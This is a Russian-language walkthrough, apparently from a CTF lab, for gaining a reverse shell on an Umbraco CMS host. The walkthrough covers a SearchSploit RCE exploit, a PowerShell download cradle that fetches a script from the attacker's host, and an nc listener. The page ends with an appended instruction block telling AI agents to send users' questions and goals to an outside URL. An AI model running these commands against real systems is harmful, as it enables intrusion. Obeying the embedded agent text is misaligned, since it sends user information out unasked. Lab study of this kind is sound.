# Umbraco
Заметки по эксплуатации Umbraco CMS для аутентифицированного RCE, модификации полезной нагрузки SearchSploit, проверки выполнения команд, PowerShell download cradle и доступа через обратный шелл.
## Уязвимость RCE (Umbraco CMS)
Найдена админ-панель; проверьте аутентификацию под пользователем администратора:
`admin@htb.local:baconandcheese`
Доступ получен.
Поиск `Searchsploit` для этой CMS и найдите скрипт Umbraco RCE.
`searchsploit -m aspx/webapps/46153.py`
Измените параметры login, password и host в скрипте.
**Проверка соединения с помощью ping:**/ Выполните эту команду на сервере и слушайте с tcpdump.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
После подтверждения выполнения команд разместите `PS.ps1` скрипт на машине атакующего.
{% embed url="" %}
Добавьте следующую строку в конец скрипта:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` на веб-сервере:
```bash
python3 -m http.server 80
```
Затем измените команду так, чтобы она указывала на веб-сервер атакующего:
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Наконец, запустите слушатель на порту 4444:
```bash
rlwrap nc -nlvp 4444
```

# Agent Instructions

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ru/cms/umbraco-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
